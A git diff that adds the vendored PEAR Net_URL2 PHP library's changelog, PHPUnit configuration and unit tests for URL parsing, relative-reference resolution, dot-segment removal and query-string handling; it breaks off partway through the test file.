+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20385: Incorrect normalization of userinfo
+ * Fixed #20399: Setting userinfo to FALSE not transparent
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-07-21</date>
+ <time>00:03:00</time>
+ <version>
+ <release>2.0.6</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20304: file:// URI gets crippled
+ </notes>
+ </release>
+
+ <release>
+ <date>2014-01-01</date>
+ <time>21:59:00</time>
+ <version>
+ <release>2.0.5</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #17036: Brackets broken for query variables
+ * Fixed diverse coding style violations and misc. minor issues
+ * Increased code coverage
+ </notes>
+ </release>
+
+ <release>
+ <date>2013-12-31</date>
+ <time>01:59:00</time>
+ <version>
+ <release>2.0.4</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20161: URLs with "0" as host fail to normalize with empty path
+ * A flaw in NetURL2::removeDotSegments() introduced in 2.0.1 has been fixed
+ * New: NetURL2::removeDotSegments() emits a warning on loop limit reach
+ * Url-segment maximum count raised from 100 to 256 (loop limit)
+ </notes>
+ </release>
+
+ <release>
+ <date>2013-12-30</date>
+ <time>01:32:00</time>
+ <version>
+ <release>2.0.3</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #20156: setAuthority() flaw with "0" as host
+ * Fixed #20157: normalize() flaw with "0" as path
+ * Fixed #20158: Fragment-only references are not resolved to non-absolute base URI
+ * Fixed #20159: Authority not terminated by slash
+ * Fixed diverse coding style violations and misc. minor issues
+ * Increased code coverage
+ * Added support for Scrutinizer CI
+ </notes>
+ </release>
+
+ <release>
+ <date>2013-12-27</date>
+ <time>19:16:00</time>
+ <version>
+ <release>2.0.2</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license uri="https://spdx.org/licenses/BSD-3-Clause">BSD-3-Clause</license>
+ <notes>
+ * Fixed #19684: Redirects containing spaces do not work
+ * Fixed diverse coding style violations and misc. minor issues
+ * Improved source package distribution
+ * Added support for Travis CI
+ </notes>
+ </release>
+
+ <release>
+ <date>2013-12-24</date>
+ <time>18:12:00</time>
+ <version>
+ <release>2.0.1</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * Fixed Bug #20013: getNormalizedURL() adds leading "@" chars in the Authority
+ * Fixed Bug #20016: Wrong data in 6d4f4dd "Package.xml preparation."
+ * Fixed Bug #19176: resolve() does not merge the path if the base path is empty
+ * Fixed Bug #19315: removeDotSegments("0") not working
+ </notes>
+ </release>
+
+ <release>
+ <date>2011-10-20</date>
+ <time>10:43:00</time>
+ <version>
+ <release>2.0.0</release>
+ <api>2.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * Fixed the version of the release. Follow the convention for Package2.
+ * Fixed Bug #18917: URL2.php moved to ./Net/Net (davidc)
+ </notes>
+ </release>
+
+ <release>
+ <version>
+ <release>1.0.0</release>
+ <api>1.0.0</api>
+ </version>
+ <stability>
+ <release>stable</release>
+ <api>stable</api>
+ </stability>
+ <date>2011-10-20</date>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * Fixed Bug #17036: Problem with parsed query string
+ * Fixed Bug #17087: setOption() function is gone
+ * Fixed #17166: Fluent Interface
+ * Fixed #17167: Refactor __construct
+ * Fixed Bug #18267: setQueryVariables() fails to encode array values
+ * Fixed Bug #14399: Fixed multiple bugs in Net_URL2 (Missing setOption value, unused properties, etc.)
+ </notes>
+ </release>
+
+ <release>
+ <version>
+ <release>0.3.1</release>
+ <api>0.3.0</api>
+ </version>
+ <stability>
+ <release>beta</release>
+ <api>beta</api>
+ </stability>
+ <date>2011-02-22</date>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * BC break: Removed setOption() to avoid undefined behaviour (bug #16674)
+ * Fixed Bug #16854: Invalid package.xml making it impossible to install with Pyrus
+ * Fixed Bug #16651: Port may be an empty string
+ * Fixed Bug #16653: Don't make OPTION_SEPARATOR_(IN|OUT)PUT default to arg_separator.(in|out)put
+ </notes>
+ </release>
+ <release>
+ <version>
+ <release>0.3.0</release>
+ <api>0.3.0</api>
+ </version>
+ <stability>
+ <release>beta</release>
+ <api>beta</api>
+ </stability>
+ <date>2009-09-05</date>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * Fixed #14399 (Errors in URL parsing (items #1 and #3))
+ * Fixed #14735 (Encode query string values)
+ * Fixed #15546 (Add adding __toString())
+ * Fixed #15367 (Use RFC 3986-compliant version of rawurlencode() in PHP &lt; 5.2)
+ * Fixed #14289 (Add __get() and __set())
+ </notes>
+ </release>
+ <release>
+ <version>
+ <release>0.2.0</release>
+ <api>0.2.0</api>
+ </version>
+ <stability>
+ <release>beta</release>
+ <api>beta</api>
+ </stability>
+ <date>2008-06-18</date>
+ <license>BSD-3-Clause</license>
+ <notes>
+ * Major rewrite to comply with RFC3986 (bug #11574).
+ * Much better support for resolving relative URLs.
+ * WARNING: Method and property names has changed to reflect the terminology used in the RFC - THIS RELEASE IS
+ NOT BACKWARDS COMPATIBLE WITH VERSION 0.1.0.
+ </notes>
+ </release>
+ <release>
+ <version>
+ <release>0.1.0</release>
+ <api>0.1.0</api>
+ </version>
+ <stability>
+ <release>beta</release>
+ <api>beta</api>
+ </stability>
+ <date>2007-05-08</date>
+ <license>BSD-3-Clause</license>
+ <notes>Convert to PHP5 only. PHP4 users should continue with version 1.0.15</notes>
+ </release>
+ </changelog>
+</package>
diff --git a/vendor/pear/net_url2/phpunit.xml.dist b/vendor/pear/net_url2/phpunit.xml.dist
new file mode 100644
index 000000000..2fee31891
--- /dev/null
+++ b/vendor/pear/net_url2/phpunit.xml.dist
@@ -0,0 +1,17 @@
+<phpunit bootstrap="Net/URL2.php"
+ colors="false"
+ convertErrorsToExceptions="true"
+ convertNoticesToExceptions="true"
+ convertWarningsToExceptions="true"
+ stopOnFailure="true">
+ <testsuites>
+ <testsuite name="Tests">
+ <directory>tests</directory>
+ </testsuite>
+ </testsuites>
+ <filter>
+ <whitelist>
+ <file>Net/URL2.php</file>
+ </whitelist>
+ </filter>
+</phpunit>
diff --git a/vendor/pear/net_url2/tests/AllTests.php b/vendor/pear/net_url2/tests/AllTests.php
new file mode 100644
index 000000000..65492fe36
--- /dev/null
+++ b/vendor/pear/net_url2/tests/AllTests.php
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Net_URL2, a class representing a URL as per RFC 3986.
+ *
+ * PHP version 5
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @link https://tools.ietf.org/html/rfc3986
+ */
+
+require_once 'PHPUnit/Autoload.php';
+
+chdir(dirname(__FILE__) . '/../');
+
+require_once 'Net/URL2Test.php';
+require_once 'Net/URL2.php';
+
+/**
+ * Test class for Net_URL2.
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @version Release: @package_version@
+ * @link https://pear.php.net/package/Net_URL2
+ */
+class Net_URL2_AllTests
+{
+ /**
+ * main()
+ *
+ * @return void
+ */
+ public static function main()
+ {
+
+ PHPUnit_TextUI_TestRunner::run(self::suite());
+ }
+
+ /**
+ * suite()
+ *
+ * @return PHPUnit_Framework_TestSuite
+ */
+ public static function suite()
+ {
+ $suite = new PHPUnit_Framework_TestSuite('Net_URL2 tests');
+ /** Add testsuites, if there is. */
+ $suite->addTestSuite('Net_URL2Test');
+
+ return $suite;
+ }
+}
+
+Net_URL2_AllTests::main();
diff --git a/vendor/pear/net_url2/tests/Net/URL2Test.php b/vendor/pear/net_url2/tests/Net/URL2Test.php
new file mode 100644
index 000000000..30330b1a9
--- /dev/null
+++ b/vendor/pear/net_url2/tests/Net/URL2Test.php
@@ -0,0 +1,1085 @@
+<?php
+/**
+ * Net_URL2, a class representing a URL as per RFC 3986.
+ *
+ * PHP version 5
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @link https://tools.ietf.org/html/rfc3986
+ */
+
+/**
+ * Test class for Net_URL2.
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Some Pear Developers <pear@php.net>
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @version Release: @package_version@
+ * @link https://pear.php.net/package/Net_URL2
+ */
+class Net_URL2Test extends PHPUnit_Framework_TestCase
+{
+ /**
+ * Tests setting a zero-length string and false as authority
+ * Also: Regression test for Bug #20420
+ *
+ * @covers Net_URL2::setAuthority
+ * @return void
+ * @link https://pear.php.net/bugs/bug.php?id=20420
+ */
+ public function testSetEmptyAuthority()
+ {
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setAuthority('');
+ $this->assertSame('', $url->getAuthority());
+ $this->assertSame('', $url->getHost());
+ $this->assertSame(false, $url->getPort());
+ $this->assertSame(false, $url->getUserinfo());
+ $this->assertSame(false, $url->getUser());
+
+ $url->setAuthority(false);
+ $this->assertSame(false, $url->getAuthority());
+ }
+
+ /**
+ * Tests setting an empty userinfo part
+ * Also: Regression test for Bug #20013 and Bug #20399
+ *
+ * @covers Net_URL2::setUserinfo
+ * @covers Net_URL2::getUserinfo
+ * @covers Net_URL2::getURL
+ * @return void
+ * @link https://pear.php.net/bugs/bug.php?id=20013
+ * @link https://pear.php.net/bugs/bug.php?id=20399
+ */
+ public function testSetEmptyUserinfo()
+ {
+ $url = new Net_URL2('http://@www.example.com/');
+ $this->assertSame('http://www.example.com/', $url->getURL());
+
+ $url = new Net_URL2('http://www.example.com/');
+ $this->assertSame('http://www.example.com/', $url->getURL());
+ $url->setUserinfo('');
+ $this->assertSame('http://www.example.com/', $url->getURL());
+ $this->assertSame('', $url->getUserinfo());
+ $url->setUserinfo(false);
+ $this->assertSame('http://www.example.com/', $url->getURL());
+ $this->assertFalse($url->getUserinfo());
+ }
+
+ /**
+ * Tests an URL with no userinfo and normalization
+ *
+ * Also: Regression test for Bug #20385
+ *
+ * @covers Net_URL2::getUserinfo
+ * @covers Net_URL2::normalize
+ * @covers Net_URL2::getNormalizedURL
+ * @return void
+ * @link https://pear.php.net/bugs/bug.php?id=20385
+ */
+ public function testNoUserinfoAndNormalize()
+ {
+ $testUrl = 'http://www.example.com/';
+
+ $url = new Net_URL2($testUrl);
+ $this->assertFalse($url->getUserinfo());
+
+ $url->normalize();
+ $this->assertFalse($url->getUserinfo());
+
+ $this->assertEquals($testUrl, $url->getURL());
+ $this->assertEquals($testUrl, $url->getNormalizedURL());
+ }
+
+ /**
+ * Tests setQueryVariable().
+ *
+ * @return void
+ */
+ public function testSetQueryVariable()
+ {
+
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setQueryVariable('pear', 'fun');
+ $this->assertEquals($url->getURL(), 'http://www.example.com/?pear=fun');
+ }
+
+ /**
+ * Tests setQueryVariables().
+ *
+ * @return void
+ */
+ public function testSetQueryVariables()
+ {
+
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setQueryVariables(array('pear' => 'fun'));
+ $this->assertEquals('http://www.example.com/?pear=fun', $url->getURL());
+ $url->setQueryVariables(array('pear' => 'fun for sure'));
+ $this->assertEquals(
+ 'http://www.example.com/?pear=fun%20for%20sure', $url->getURL()
+ );
+ }
+
+ /**
+ * Tests unsetQueryVariable()
+ *
+ * @return void
+ */
+ public function testUnsetQueryVariable()
+ {
+ $url = new Net_URL2(
+ 'http://www.example.com/?name=david&pear=fun&fish=slippery'
+ );
+
+ $removes = array(
+ 'pear' => 'http://www.example.com/?name=david&fish=slippery',
+ 'name' => 'http://www.example.com/?fish=slippery',
+ 'fish' => 'http://www.example.com/',
+ );
+
+ foreach ($removes as $name => $expected) {
+ $url->unsetQueryVariable($name);
+ $this->assertEquals($expected, $url);
+ }
+ }
+
+ /**
+ * Tests setQuery().
+ *
+ * @return void
+ */
+ public function testSetQuery()
+ {
+
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setQuery('flapdoodle&dilly%20all%20day');
+ $this->assertEquals(
+ $url->getURL(), 'http://www.example.com/?flapdoodle&dilly%20all%20day'
+ );
+ }
+
+ /**
+ * Tests getQuery().
+ *
+ * @return void
+ */
+ public function testGetQuery()
+ {
+
+ $url = new Net_URL2('http://www.example.com/?foo');
+ $this->assertEquals($url->getQuery(), 'foo');
+ $url = new Net_URL2('http://www.example.com/?pear=fun&fruit=fruity');
+ $this->assertEquals($url->getQuery(), 'pear=fun&fruit=fruity');
+ }
+
+ /**
+ * Tests setScheme().
+ *
+ * @return void
+ */
+ public function testSetScheme()
+ {
+
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setScheme('ftp');
+ $this->assertEquals($url->getURL(), 'ftp://www.example.com/');
+ $url->setScheme('gopher');
+ $this->assertEquals($url->getURL(), 'gopher://www.example.com/');
+ }
+
+ /**
+ * Tests setting the fragment.
+ *
+ * @return void
+ */
+ public function testSetFragment()
+ {
+
+ $url = new Net_URL2('http://www.example.com/');
+ $url->setFragment('pear');
+ $this->assertEquals('http://www.example.com/#pear', $url->getURL());
+ }
+
+ /**
+ * A dataProvider for paths that are solved to a base URI.
+ *
+ * @see testResolveUrls
+ * @return array
+ */
+ public function provideResolveUrls()
+ {
+ return array(
+ array(
+ // Examples from RFC 3986, section 5.4.
+ // relative base-URI, (URL => absolute URL), [(options)]
+ 'http://a/b/c/d;p?q',
+ array(
+ 'g:h' => 'g:h',
+ 'g' => 'http://a/b/c/g',
+ './g' => 'http://a/b/c/g',
+ 'g/' => 'http://a/b/c/g/',
+ '/g' => 'http://a/g',
+ '//g' => 'http://g',
+ '?y' => 'http://a/b/c/d;p?y',
+ 'g?y' => 'http://a/b/c/g?y',
+ '#s' => 'http://a/b/c/d;p?q#s',
+ 'g#s' => 'http://a/b/c/g#s',
+ 'g?y#s' => 'http://a/b/c/g?y#s',
+ ';x' => 'http://a/b/c/;x',
+ 'g;x' => 'http://a/b/c/g;x',
+ 'g;x?y#s' => 'http://a/b/c/g;x?y#s',
+ '' => 'http://a/b/c/d;p?q',
+ '.' => 'http://a/b/c/',
+ './' => 'http://a/b/c/',
+ '..' => 'http://a/b/',
+ '../' => 'http://a/b/',
+ '../g' => 'http://a/b/g',
+ '../..' => 'http://a/',
+ '../../' => 'http://a/',
+ '../../g' => 'http://a/g',
+ '../../../g' => 'http://a/g',
+ '../../../../g' => 'http://a/g',
+ '/./g' => 'http://a/g',
+ '/../g' => 'http://a/g',
+ 'g.' => 'http://a/b/c/g.',
+ '.g' => 'http://a/b/c/.g',
+ 'g..' => 'http://a/b/c/g..',
+ '..g' => 'http://a/b/c/..g',
+ './../g' => 'http://a/b/g',
+ './g/.' => 'http://a/b/c/g/',
+ 'g/./h' => 'http://a/b/c/g/h',
+ 'g/../h' => 'http://a/b/c/h',
+ 'g;x=1/./y' => 'http://a/b/c/g;x=1/y',
+ 'g;x=1/../y' => 'http://a/b/c/y',
+ 'g?y/./x' => 'http://a/b/c/g?y/./x',
+ 'g?y/../x' => 'http://a/b/c/g?y/../x',
+ 'g#s/./x' => 'http://a/b/c/g#s/./x',
+ 'g#s/../x' => 'http://a/b/c/g#s/../x',
+ 'http:g' => 'http:g',
+ ),
+ ),
+ array(
+ 'http://a/b/c/d;p?q',
+ array('http:g' => 'http://a/b/c/g'),
+ array('::OPTION_STRICT' => false)
+ ),
+ );
+ }
+
+ /**
+ * Test the resolve() function to resolve URLs to each other.
+ *
+ * @param string $baseURL base-URI
+ * @param array $relativeAbsolutePairs url-pairs, relative => resolved
+ * @param array $options Net_URL2 options
+ *
+ * @dataProvider provideResolveUrls
+ * @covers Net_URL2::resolve
+ * @return void
+ */
+ public function testResolveUrls($baseURL, array $relativeAbsolutePairs,
+ array $options = array()
+ ) {
+ $options = $this->_translateOptionData($options);
+ $base = new Net_URL2($baseURL, $options);
+ $count = count($relativeAbsolutePairs);
+ $this->assertGreaterThan(0, $count, 'relative-absolute-pairs data is empty');
+ foreach ($relativeAbsolutePairs as $relativeURL => $absoluteURL) {
+ $this->assertSame($absoluteURL, (string) $base->resolve($relativeURL));
+ }
+ }
+
+ /**
+ * Helper method to turn options with strings as the constant names
+ * (to allow to externalize the fixtures) into a concrete options
+ * array that uses the values from the Net_URL2 class constants.
+ *
+ * @param array $options options
+ *
+ * @return array
+ */
+ private function _translateOptionData(array $options)
+ {
+ // translate string option-names to class constant starting with a colon.
+ foreach ($options as $name => $value) {
+ if ($name[0] === ':') {
+ unset($options[$name]);
+ $options[constant("Net_URL2$name")] = $value;
+ }
+ }
+ return $options;
+ }
+
+ /**
+ * Test the resolve() function throwing an exception with invalid data.
+ *
+ * @covers Net_URL2::resolve
+ * @return void
+ */
+ public function testResolveException()
+ {
+ // resolving a relative to a relative URL throws an exception
+ $base = new Net_URL2('news.html?category=arts');
+ $this->addToAssertionCount(1);
+ try {
+ $base->resolve('../arts.html#section-2.4');
+ } catch (Exception $e) {
+ $expected = 'Base-URL must be absolute if reference is not fragment-onl';
+ $this->assertStringStartsWith($expected, $e->getMessage());
+ return;
+ }
+ $this->fail('Expected exception not thrown.');
+ }
+
+ /**
+ * Assert that there is a last error message and it contains needle.
+ *
+ * @param string $needle needle
+ *
+ * @return void
+ */
+ private function _assertLastErrorContains($needle)
+ {
+ $error = error_get_last();
+ $this->assertArrayHasKey('message', $error, 'there was an error previously');
+ $pos = strpos($error['message'], $needle);
+
+ $this->assertTrue(
+ false !== $pos,
+ sprintf(
+ 'Last error message "%s" contains "%s"', $error['message'], $needle
+ )
+ );
+ }
+
+ /**
+ * Test UrlEncoding
+ *
+ * @return void
+ * @link https://pear.php.net/bugs/bug.php?id=18267
+ */
+ public function testUrlEncoding()
+ {
+ $options = array(Net_URL2::OPTION_DROP_SEQUENCE => false);
+ $url = new Net_URL2('http://localhost/bug.php', $options);
+ $url->setQueryVariables(
+ array(
+ 'indexed' => array(
+ 'first value', 'second value', array('foo', 'bar'),
+ )
+ )
+ );
+ $this->assertEquals(
+ 'http://localhost/bug.php?indexed[0]=first%20value&indexed[1]' .
+ '=second%20value&indexed[2][0]=foo&indexed[2][1]=bar',
+ strval($url)
+ );
+ }
+
+ /**
+ * A test to verify that keys in QUERY_STRING are encoded by default.
+ *
+ * @return void
+ * @see Net_URL2::OPTION_ENCODE_KEYS
+ * @see Net_URL2::buildQuery()
+ */
+ public function testEncodeKeys()
+ {
+ $url = new Net_URL2('http://example.org');
+ $url->setQueryVariables(array('helgi rulez' => 'till too'));
+ $this->assertEquals(
+ 'http://example.org?helgi%20rulez=till%20too',
+ strval($url)
+ );
+ }
+
+ /**
+ * A test to verify that keys in QUERY_STRING are not encoded when we supply
+ * 'false' via {@link Net_URL2::__construct()}.
+ *
+ * @return void
+ * @see Net_URL2::OPTION_ENCODE_KEYS
+ * @see Net_URL2::buildQuery()
+ */
+ public function testDontEncodeKeys()
+ {
+ $url = new Net_URL2(
+ 'http://example.org',
+ array(Net_URL2::OPTION_ENCODE_KEYS => false)
+ );
+ $url->setQueryVariables(array('till rulez' => 'helgi too'));
+ $this->assertEquals(
+ 'http://example.org?till rulez=helgi%20too',
+ strval($url)
+ );
+ }
+
+ /**
+ * Brackets for array query variables
+ *
+ * Also text to not encode zero based integer sequence into brackets
+ *
+ * @return void
+ *
+ * @link https://pear.php.net/bugs/bug.php?id=20427
+ */
+ public function testUseBrackets()
+ {
+ $url = new Net_URL2('http://example.org/');
+ $url->setQueryVariables(array('foo' => array('bar', 'baz')));
+ $expected = 'http://example.org/?foo[]=bar&foo[]=baz';
+ $this->assertEquals($expected, $url->getURL());
+
+ $options = array(Net_URL2::OPTION_DROP_SEQUENCE => false);
+ $url = new Net_URL2('http://example.org/', $options);
+ $url->setQueryVariables(array('foo' => array('bar', 'foobar')));
+ $expected = 'http://example.org/?foo[0]=bar&foo[1]=foobar';
+ $this->assertEquals($expected, $url->getURL());
+ }
+
+ /**
+ * Do not use brackets for query variables passed as array
+ *
+ * @return void
+ */
+ public function testDontUseBrackets()
+ {
+ $url = new Net_URL2(
+ 'http://example.org/',
+ array(Net_URL2::OPTION_USE_BRACKETS => false)
+ );
+ $url->setQueryVariables(array('foo' => array('bar', 'foobar')));
+ $this->assertEquals(
+ 'http://example.org/?foo=bar&foo=foobar',
+ strval($url)
+ );
+ }
+
+ /**
+ * A dataProvider for example URIs from RFC 3986 Section 1.1.2
+ *
+ * @return array
+ * @link http://tools.ietf.org/html/rfc3986#section-1.1.2
+ * @see testExampleUri
+ */
+ public function provideExampleUri()
+ {
+ return array(
+ array('ftp://ftp.is.co.za/rfc/rfc1808.txt'),
+ array('http://www.ietf.org/rfc/rfc2396.txt'),
+ array('ldap://[2001:db8::7]/c=GB?objectClass?one'),
+ array('mailto:John.Doe@example.com'),
+ array('news:comp.infosystems.www.servers.unix'),
+ array('tel:+1-816-555-1212'),
+ array('telnet://192.0.2.16:80/'),
+ array('urn:oasis:names:specification:docbook:dtd:xml:4.1.2'),
+ );
+ }
+
+ /**
+ * test that Net_URL2 works with the example URIs from RFC 3986 Section 1.1.2
+ *
+ * @param string $uri example URI
+ *
+ * @return void
+ * @dataProvider provideExampleUri
+ * @link http://tools.ietf.org/html/rfc3986#section-1.1.2
+ * @see testComponentRecompositionAndNormalization
+ */
+ public function testExampleUri($uri)
+ {
+ $url = new Net_URL2($uri);
+ $this->assertSame($uri, $url->__toString());
+ $url->normalize();
+ $this->assertSame($uri, $url->__toString());
+ }
+
+ /**
+ * A dataProvider for pairs of paths with dot segments and
+ * their form when removed.
+ *
+ * @see testRemoveDotSegments
+ * @return array
+ */
+ public function providePath()
+ {
+ // The numbers behind are in reference to sections
+ // in RFC 3986 5.2.4. Remove Dot Segments
+ return array(
+ array('../', ''), // 2. A.
+ array('./', ''), // 2. A.
+ array('/./', '/'), // 2. B.
+ array('/.', '/'), // 2. B.
+ array('/../', '/'), // 2. C.
+ array('/..', '/'), // 2. C.
+ array('..', ''), // 2. D.
+ array('.', ''), // 2. D.
+ array('a', 'a'), // 2. E.
+ array('/a', '/a'), // 2. E.
+ array('/a/b/c/./../../g', '/a/g'), // 3.
+ array('mid/content=5/../6', 'mid/6'), // 3.
+ array('../foo/bar.php', 'foo/bar.php'),
+ array('/foo/../bar/boo.php', '/bar/boo.php'),
+ array('/boo/..//foo//bar.php', '//foo//bar.php'),
+ array('/./foo/././bar.php', '/foo/bar.php'),
+ array('./.', ''),
+ );
+ }
+
+ /**
+ * Test removal of dot segments
+ *
+ * @param string $path Path
+ * @param string $assertion Assertion
+ *
+ * @dataProvider providePath
+ * @covers Net_URL2::removeDotSegments
+ * @return void
+ */
+ public function testRemoveDotSegments($path, $assertion)
+ {
+ $this->assertEquals($assertion, Net_URL2::removeDotSegments($path));
+ }
+
+ /**
+ * Test removeDotSegments() loop limit warning
+ *
+ * @covers Net_URL2::removeDotSegments
+ * @return void
+ */
+ public function testRemoveDotSegmentsLoopLimit()
+ {
+ $loopLimit = 256;
+ $segments = str_repeat('a/', $loopLimit);
+
+ @Net_URL2::removeDotSegments($segments . 'b/');
+
+ $this->_assertLastErrorContains(sprintf(' loop limit %d ', $loopLimit + 1));
+ $this->_assertLastErrorContains(" (left: '/b/')");
+ }
+
+ /**
+ * A dataProvider for query strings and their array representation
+ *
+ * @see testGetQueryVariables
+ * @return array
+ */
+ public function provideQueryStrings()
+ {
+ // If the second (expected) value is set or not null, parse_str() differs.
+ // Notes on PHP differences with each entry/block
+ return array(
+ // Net_URL2::getQueryVariables() non-bracket mode
+ array('test=1&t%65st=%41&extra=',
+ array('test' => array('1', 'A'), 'extra' => ''),
+ array('::OPTION_USE_BRACKETS' => false)),
+ array(''),
+ array('='),
+ array('key'),
+ array('key='),
+ array('=value'),
+ array('k=v'),
+ // no space as var-name in PHP (array()):
+ array(' ', array(' ' => '' )),
+ array(' =v', array(' ' => 'v')),
+ array('key=value'),
+ // PHP replaces ".", " " and "[" in name replaced by "_":
+ array('key.=value' , array('key.' => 'value')),
+ array('key =value' , array('key ' => 'value')),
+ array('key[=value' , array('key[' => 'value')),
+ array("key\0=value", array("key\0" => 'value')),
+ array('key]=value'),
+ array('key[]=value'),
+ array('[]=value'),
+ array(']=value'),
+ array(']]=value'),
+ // PHP drops variables that are an open bracket only
+ array('[=value', array('[' => 'value')),
+ // PHP drops spaces in brackets:
+ array('key[ ]=value', array('key' => array(' ' => 'value'))),
+ // PHP replaces space " " in name by "_"
+ array('key []=1' , array('key ' => array('1' ))) ,
+ // PHP does not support "\0" in var-names:
+ array("key[\0]=value" , array('key' => array("\0" => 'value' ))),
+ array("key[a\0]=value" , array('key' => array("a\0" => 'value' ))),
+ array("key[a\0b]=value" , array('key' => array("a\0b" => 'value'))),
+ array('var[]=1&var[0][]=2'),
+ array('key[] []=1'),
+ array('key[] [] []=1'),
+ array('key[] [] []'),
+ array('key[] [] []=[] []'),
+ array('[] [] []=[] []'),
+ );
+ }
+
+ /**
+ * Test parsing of query variables
+ *
+ * @param string $query string
+ * @param mixed $expected null to test against parse_str() behavior
+ * @param array $options Net_URL2 options
+ *
+ * @dataProvider provideQueryStrings
+ * @covers Net_URL2::getQueryVariables
+ * @covers Net_URL2::_queryArrayByKey
+ * @covers Net_URL2::_queryArrayByBrackets
+ * @covers Net_URL2::_queryKeyBracketOffset
+ * @return void
+ */
+ public function testGetQueryVariables($query, $expected = null,
+ array $options = array()
+ ) {
+ $options = $this->_translateOptionData($options);
+
+ $url = new Net_URL2('', $options);
+
+ if ($expected === null) {
+ // parse_str() is in PHP before copy on write, therefore
+ // it uses pass-by-reference for $expected to return
+ // the array
+ parse_str($query, $expected);
+ }
+
+ // Xdebug: If breakpoints are ignored, see Xdebug Issue 0000924
+ $url->setQuery($query);
+ $actual = $url->getQueryVariables();
+
+ // Do two assertions, because the first one shows a more nice diff in case
+ // it fails and the second one is actually strict which is what has to be
+ // tested.
+ $this->assertEquals($expected, $actual);
+ $this->assertSame($expected, $actual);
+ }
+
+ /**
+ * data provider of host and port
+ *
+ * @return array
+ * @see testHostAndPort
+ */
+ public function provideHostAndPort()
+ {
+ return array(
+ array('[::1]', '[::1]', false),
+ array('[::1]:', '[::1]', false),
+ array('[::1]:128', '[::1]', '128'),
+ array('127.0.0.1', '127.0.0.1', false),
+ array('127.0.0.1:', '127.0.0.1', false),
+ array('127.0.0.1:128', '127.0.0.1', '128'),
+ array('localhost', 'localhost', false),
+ array('localhost:', 'localhost', false),
+ array('localhost:128', 'localhost', '128'),
+ );
+ }
+
+ /**
+ * test that an authority containing host and port maps to expected host and port
+ *
+ * This is also a regression test to test that using ip-literals works along-
+ * side ipv4 and reg-name hosts incl. port numbers
+ *
+ * It was reported as Bug #20423 on 2014-10-06 18:25 UTC that
+ * http://[::1]// URI drops the host
+ *
+ * @param string $authority string
+ * @param string $expectedHost string
+ * @param string|bool $expectedPort string or FALSE
+ *
+ * @return void
+ * @dataProvider provideHostAndPort
+ * @covers Net_URL2::setAuthority()
+ * @link https://pear.php.net/bugs/bug.php?id=20423
+ * @link http://tools.ietf.org/html/rfc3986#section-3.2.2
+ * @link http://tools.ietf.org/html/rfc3986#section-3.2
+ * @link http://tools.ietf.org/html/rfc3986#section-3.2.3
+ */
+ public function testHostAndPort($authority, $expectedHost, $expectedPort)
+ {
+ $uri = "http://{$authority}";
+ $url = new Net_URL2($uri);
+ $this->assertSame($expectedHost, $url->getHost());
+ $this->assertSame($expectedPort, $url->getPort());
+ }
+
+ /**
+ * This is a regression test to test that Net_URL2::getQueryVariables() does
+ * not have a problem with nested array values in form of stacked brackets and
+ * was reported as Bug #17036 on 2010-01-26 15:48 UTC that there would be
+ * a problem with parsed query string.
+ *
+ * @link https://pear.php.net/bugs/bug.php?id=17036
+ * @covers Net_URL2::getQueryVariables
+ * @return void
+ */
+ public function test17036()
+ {
+ $queryString = 'start=10&test[0][first][1.1][20]=coucou';
+ $url = new Net_URL2('?' . $queryString);
+ $vars = $url->getQueryVariables();
+
+ $expected = array();
+ $expected['start'] = '10';
+ $expected['test'][0]['first']['1.1'][20] = 'coucou';
+
+ $this->assertEquals($expected, $vars); // give nice diff in case of failuer
+ $this->assertSame($expected, $vars); // strictly assert the premise
+ }
+
+ /**
+ * This is a regression test to test that resolve() does
+ * merge the path if the base path is empty as the opposite
+ * was reported as Bug #19176 on 2011-12-31 02:07 UTC
+ *
+ * @return void
+ */
+ public function test19176()
+ {
+ $foo = new Net_URL2('http://www.example.com');
+ $test = $foo->resolve('test.html')->getURL();
+ $this->assertEquals('http://www.example.com/test.html', $test);
+ }
+
+ /**
+ * This is a regression test that removeDotSegments('0') is
+ * working as it was reported as not-working in Bug #19315
+ * on 2012-03-04 04:18 UTC.
+ *
